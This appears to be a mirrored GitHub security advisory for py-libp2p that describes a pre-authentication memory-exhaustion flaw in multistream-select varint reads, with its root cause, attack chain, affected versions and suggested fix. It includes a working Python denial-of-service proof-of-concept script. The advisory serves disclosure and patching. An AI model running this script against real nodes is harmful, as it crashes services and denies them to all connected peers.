GHSA-HMJQ-G7PP-RW3X
py-libp2p multistream-select unbounded varint-prefixed read allows pre-auth memory exhaustion
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.8.1 | libp2p · -25 d desde divulgación | |
| Divulgación | Publicada | GHSA-HMJQ-G7PP-RW3X divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The multistream-select protocol negotiation layer in py-libp2p uses an unbounded varint-prefixed read (`read_varint_prefixed_bytes`) to receive messages from remote peers during connection establishment. A remote attacker who can reach the TCP listener can send a large varint length prefix followed by data, causing uncontrolled memory allocation on the target node before any authentication occurs.
Root Cause
The multistream-select negotiation path calls `read_delim()` to read protocol messages from the raw TCP connection. `read_delim()` delegates to `read_varint_prefixed_bytes()`, which decodes an attacker-supplied varint length prefix (up to 2^64 - 1) and passes it directly to `read_exactly()` with no size validation. A bounded variant, `read_varint_prefixed_bytes_limited()`, exists in the same module and is used by other subsystems (mplex, relay, pubsub) but is not wired into the multistream-select path.
Affected function: read_varint_prefixed_bytes() at libp2p/utils/varint.py:153-155
- Decodes varint length prefix without size validation
- Passes untrusted length to read_exactly()
Caller: read_delim() at libp2p/utils/varint.py:226-227
- Uses unbounded read_varint_prefixed_bytes() instead of read_varint_prefixed_bytes_limited()
Entry point: MultiselectCommunicator.read() at libp2p/protocol_muxer/multiselect_communicator.py:47-52
- Called during pre-auth multistream-select handshake on raw TCP connectionImpact
An unauthenticated attacker with TCP connectivity to a py-libp2p node can cause memory exhaustion by opening multiple connections and sending crafted varint-prefixed messages during the multistream-select handshake. Each connection can accumulate approximately 25 MB before the 30-second negotiation timeout fires. With 100 concurrent connections, the target node accumulates approximately 2.5 GB of memory, which can cause an out-of-memory (OOM) condition and process termination. This affects the default `new_host()` configuration; no non-default settings are required. No authentication or libp2p identity is needed.
Proof of Concept
Dependencies: Python 3.10+ with stdlib only (socket, struct, time)
Target: A py-libp2p node listening on TCP (default port 4001)import socket
import sys
import time
def encode_uvarint(value: int) -> bytes:
"""Encode an unsigned integer as a protobuf-style varint."""
result = bytearray()
while value >= 0x80:
result.append((value & 0x7F) | 0x80)
value >>= 7
result.append(value & 0x7F)
return bytes(result)
def main():
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 4001
HUGE_LENGTH = 2**50 # ~1 PB, valid 64-bit unsigned varint
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(35)
sock.connect((host, port))
# Wait for server's multistream-select header
server_hello = sock.recv(4096)
print(f"Received server hello ({len(server_hello)} bytes)")
# Send varint prefix claiming a ~1 PB message body
varint_prefix = encode_uvarint(HUGE_LENGTH + 1)
sock.sendall(varint_prefix)
# Stream data to fill the server's read_exactly buffer
chunk = b"A" * 65536
bytes_sent = 0
start = time.time()
try:
while time.time() - start < 30:
sock.sendall(chunk)
bytes_sent += len(chunk)
except (BrokenPipeError, ConnectionResetError, socket.timeout):
pass
elapsed = time.time() - start
print(f"Sent {bytes_sent / (1024*1024):.1f} MB in {elapsed:.1f}s")
print(f"Server accumulated ~{min(bytes_sent, 101*256*1024)/(1024*1024):.1f} MB")
print("Run N instances concurrently for N x per-connection memory growth.")
sock.close()
if __name__ == "__main__":
main()Expected output on a single connection:
Received server hello (26 bytes)
Sent 25.0 MB in 30.0s
Server accumulated ~25.0 MB
Run N instances concurrently for N x per-connection memory growth.Attack Chain
- Exposure: The attacker opens a TCP connection to a py-libp2p node's listener. The node accepts the connection and begins multistream-select negotiation, which occurs before any authentication handshake.
- Control: The attacker controls the varint length prefix in the multistream-select response. `decode_uvarint_from_stream()` accepts values up to 2^64 - 1. The decoded value is passed to `read_exactly()` without any intermediate size check.
- Path: `MultiselectCommunicator.read()` (multiselect_communicator.py:47) calls `read_delim()` (varint.py:226), which calls `read_varint_prefixed_bytes()` (varint.py:153), which calls `read_exactly(reader, len_msg)` (io/utils.py:11) with the attacker-controlled length.
- Guard: The multistream-select negotiation has a 30-second timeout (`DEFAULT_NEGOTIATE_TIMEOUT` at multiselect.py:23), but this bounds wall-clock time, not memory. Within 30 seconds, the server reads and accumulates approximately 25 MB per connection into a `bytearray`. The resource manager tracks connection count but not per-negotiation memory. A bounded read function (`read_varint_prefixed_bytes_limited`) exists but is not used in this path.
- Primitive: The server allocates a `bytearray` sized by the attacker's varint prefix and fills it via `read_exactly()`, which retries up to 100 times (each read pulling data from the network buffer).
- Result: Each connection accumulates approximately 25 MB. With 100 concurrent connections, the node allocates approximately 2.5 GB. This can trigger an OOM condition, terminating the process and denying service to all peers on that node.
Bypass Evidence
No guard exists between the varint decode and the `read_exactly` call. The bounded variant `read_varint_prefixed_bytes_limited()` at varint.py:159 performs a `msg_length > max_length` check before reading, but `read_delim()` calls the unbounded `read_varint_prefixed_bytes()` instead. Other subsystems in py-libp2p use the bounded variant: mplex uses `read_varint_prefixed_bytes_limited(stream, MAX_MESSAGE_SIZE)`, relay uses `read_varint_prefixed_bytes_limited(stream, _MAX_RELAY_MSG_SIZE)`, and the go-multistream reference implementation enforces `MaxReadSize = 64<<10` (64 KB) on multistream-select messages. The 30-second negotiate timeout at multiselect.py:78 is the only existing defense; it bounds the attack duration per connection but not the memory consumed during that window.
Affected Versions
- Ecosystem: `pip`
- Package: `libp2p`
- Confirmed affected range: `>= 0.1.5, <= 0.8.0`
- Latest release checked: `0.8.0` (PyPI
https://pypi.org/project/libp2p/0.8.0/) - Fix status: not fixed
The `read_delim()` function has called `read_varint_prefixed_bytes()` (unbounded) since at least version 0.1.5. No published release replaces it with the bounded variant.
Suggested Fix
Replace the call to `read_varint_prefixed_bytes()` in `read_delim()` (varint.py:226-227) with `read_varint_prefixed_bytes_limited(reader, max_length)`, using a size limit comparable to go-multistream's `MaxReadSize` (64 KB). The same bounded-read pattern should be applied to any other caller of `read_varint_prefixed_bytes()` that processes untrusted input.
As an interim mitigation, deploying a connection rate limiter in front of the py-libp2p listener reduces the number of concurrent attack connections but does not eliminate the per-connection memory allocation.
---
Reported by zx (GitHub: @manus-pi).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilibp2p |
Corregida | 0.8.1 | -25 d | 0.8.1 no afectada |
0.8.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/libp2p/py-libp2p/security/advisories/GHSA-hmjq-g7pp-rw3xLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
